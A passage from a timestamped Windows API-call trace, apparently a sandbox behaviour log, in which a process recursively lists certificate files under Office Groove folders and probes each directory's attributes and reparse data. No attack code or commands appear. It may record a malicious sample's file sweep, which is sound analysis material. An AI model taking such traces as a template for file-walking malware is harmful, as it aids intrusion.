ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.508] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="")) returned 1 [0078.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5b08 [0078.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfcd0 [0078.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5e20 [0078.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4240) returned 0x11b8048 [0078.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.509] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 1 [0078.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfcf0 [0078.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5f28 [0078.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.510] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 0 [0078.510] GetLastError () returned 0x12 [0078.510] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0078.510] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="")) returned 1 [0078.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 1 [0078.510] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 0 [0078.510] GetLastError () returned 0x12 [0078.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5a00) returned 1 [0078.511] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0078.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5b08) returned 1 [0078.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.511] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 [0078.511] GetLastError () returned 0x12 [0078.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac56e8) returned 1 [0078.511] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac57f0) returned 1 [0078.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac55e0) returned 1 [0078.511] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0078.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac55e0 [0078.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.527] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0078.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.527] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0078.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.527] NtClose (Handle=0x170) returned 0x0 [0078.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac55e0) returned 1 [0078.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac55e0 [0078.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac57f0 [0078.528] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0078.528] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.528] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="")) returned 1 [0078.528] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="")) returned 0 [0078.528] GetLastError () returned 0x12 [0078.528] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0078.528] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.528] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="")) returned 1 [0078.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac56e8 [0078.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.529] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.529] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.529] NtClose (Handle=0x170) returned 0x0 [0078.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac58f8 [0078.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5b08 [0078.530] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.531] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.531] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="")) returned 1 [0078.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac5a00 [0078.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfd10 [0078.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6030 [0078.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.532] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Public_Primary_CA.cer", cAlternateFileName="")) returned 1 [0078.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfd30 [0078.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6138 [0078.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.533] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="")) returned 1 [0078.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabfd50 [0078.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xac6240 [0078.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.534] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="")) returned 0 [0078.534] GetLastError () returned 0x12 [0078.534] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.534] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="")) returned 1 [0078.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Public_Primary_CA.cer", cAlternateFileName="")) returned 1 [0078.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="")) returned 1 [0078.534] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="")) returned 0 [0078.534] GetLastError () returned 0x12 [0078.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5b08) returned 1 [0078.534] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac5a00) returned 1 [0078.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac58f8) returned 1 [0078.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="")) returned 0 [0078.535] GetLastError () returned 0x12 [0078.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 